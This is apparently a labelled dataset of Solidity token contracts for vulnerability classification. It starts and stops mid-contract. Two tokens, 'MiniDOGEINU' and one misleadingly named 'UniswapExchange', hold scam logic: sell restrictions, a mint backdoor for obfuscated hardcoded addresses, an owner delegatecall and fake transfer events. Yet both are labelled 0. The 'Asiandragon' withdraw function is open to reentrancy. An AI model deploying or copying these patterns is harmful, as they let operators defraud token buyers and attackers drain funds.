require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 8;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 488 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MiniDOGEINU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,843 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,734 |
pragma solidity 0.4.25;
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor() internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract PublicData {
uint public health = 100;
uint internal mana = 50;
string private secret = "foo";
}
contract auction {
address highestBidder;
uint highestBid;
mapping(address => uint) refunds;
function bid() payable external {
require(msg.value >= highestBid);
if (highestBidder != address(0)) {
refunds[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
}
function withdrawRefund() external {
uint refund = refunds[msg.sender];
refunds[msg.sender] = 0;
msg.sender.transfer(refund);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Asiandragon is StandardToken {
string public constant name = "Asian Dragon";
string public constant symbol = "AD";
string public version = 'H1.0';
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 500000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
} | 1 | 2,911 |
pragma solidity ^0.4.21;
contract IFinancialStrategy{
enum State { Active, Refunding, Closed }
State public state = State.Active;
event Deposited(address indexed beneficiary, uint256 weiAmount);
event Receive(address indexed beneficiary, uint256 weiAmount);
event Refunded(address indexed beneficiary, uint256 weiAmount);
event Started();
event Closed();
event RefundsEnabled();
function freeCash() view public returns(uint256);
function deposit(address _beneficiary) external payable;
function refund(address _investor) external;
function setup(uint8 _state, bytes32[] _params) external;
function getBeneficiaryCash() external;
function getPartnerCash(uint8 _user, address _msgsender) external;
}
contract ICreator{
IRightAndRoles public rightAndRoles;
function createAllocation(IToken _token, uint256 _unlockPart1, uint256 _unlockPart2) external returns (IAllocation);
function createFinancialStrategy() external returns(IFinancialStrategy);
function getRightAndRoles() external returns(IRightAndRoles);
}
contract IRightAndRoles {
address[][] public wallets;
mapping(address => uint16) public roles;
event WalletChanged(address indexed newWallet, address indexed oldWallet, uint8 indexed role);
event CloneChanged(address indexed wallet, uint8 indexed role, bool indexed mod);
function changeWallet(address _wallet, uint8 _role) external;
function setManagerPowerful(bool _mode) external;
function onlyRoles(address _sender, uint16 _roleMask) view external returns(bool);
}
contract MigrationAgent
{
function migrateFrom(address _from, uint256 _value) public;
}
contract GuidedByRoles {
IRightAndRoles public rightAndRoles;
function GuidedByRoles(IRightAndRoles _rightAndRoles) public {
rightAndRoles = _rightAndRoles;
}
}
contract Pausable is GuidedByRoles {
mapping (address => bool) public unpausedWallet;
event Pause();
event Unpause();
bool public paused = true;
modifier whenNotPaused(address _to) {
require(!paused||unpausedWallet[msg.sender]||unpausedWallet[_to]);
_;
}
function onlyAdmin() internal view {
require(rightAndRoles.onlyRoles(msg.sender,3));
}
function setUnpausedWallet(address _wallet, bool mode) public {
onlyAdmin();
unpausedWallet[_wallet] = mode;
}
function setPause(bool mode) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
if (!paused && mode) {
paused = true;
emit Pause();
}else
if (paused && !mode) {
paused = false;
emit Unpause();
}
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract MigratableToken is BasicToken,GuidedByRoles {
uint256 public totalMigrated;
address public migrationAgent;
event Migrate(address indexed _from, address indexed _to, uint256 _value);
function setMigrationAgent(address _migrationAgent) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
require(totalMigrated == 0);
migrationAgent = _migrationAgent;
}
function migrateInternal(address _holder) internal{
require(migrationAgent != 0x0);
uint256 value = balances[_holder];
balances[_holder] = 0;
totalSupply_ = totalSupply_.sub(value);
totalMigrated = totalMigrated.add(value);
MigrationAgent(migrationAgent).migrateFrom(_holder, value);
emit Migrate(_holder,migrationAgent,value);
}
function migrateAll(address[] _holders) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
for(uint i = 0; i < _holders.length; i++){
migrateInternal(_holders[i]);
}
}
function migrate() public
{
require(balances[msg.sender] > 0);
migrateInternal(msg.sender);
}
}
contract BurnableToken is BasicToken, GuidedByRoles {
event Burn(address indexed burner, uint256 value);
function burn(address _beneficiary, uint256 _value) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
require(_value <= balances[_beneficiary]);
balances[_beneficiary] = balances[_beneficiary].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_beneficiary, _value);
emit Transfer(_beneficiary, address(0), _value);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function minus(uint256 a, uint256 b) internal pure returns (uint256) {
if (b>=a) return 0;
return a - b;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, GuidedByRoles {
event Mint(address indexed to, uint256 amount);
event MintFinished();
function mint(address _to, uint256 _amount) public returns (bool) {
require(rightAndRoles.onlyRoles(msg.sender,1));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract IToken{
function setUnpausedWallet(address _wallet, bool mode) public;
function mint(address _to, uint256 _amount) public returns (bool);
function totalSupply() public view returns (uint256);
function setPause(bool mode) public;
function setMigrationAgent(address _migrationAgent) public;
function migrateAll(address[] _holders) public;
function burn(address _beneficiary, uint256 _value) public;
function freezedTokenOf(address _beneficiary) public view returns (uint256 amount);
function defrostDate(address _beneficiary) public view returns (uint256 Date);
function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public;
}
contract IAllocation {
function addShare(address _beneficiary, uint256 _proportion, uint256 _percenForFirstPart) external;
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract FreezingToken is PausableToken {
struct freeze {
uint256 amount;
uint256 when;
}
mapping (address => freeze) freezedTokens;
function freezedTokenOf(address _beneficiary) public view returns (uint256 amount){
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.amount;
}
function defrostDate(address _beneficiary) public view returns (uint256 Date) {
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.when;
}
function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
freeze storage _freeze = freezedTokens[_beneficiary];
_freeze.amount = _amount;
_freeze.when = _when;
}
function masFreezedTokens(address[] _beneficiary, uint256[] _amount, uint256[] _when) public {
onlyAdmin();
require(_beneficiary.length == _amount.length && _beneficiary.length == _when.length);
for(uint16 i = 0; i < _beneficiary.length; i++){
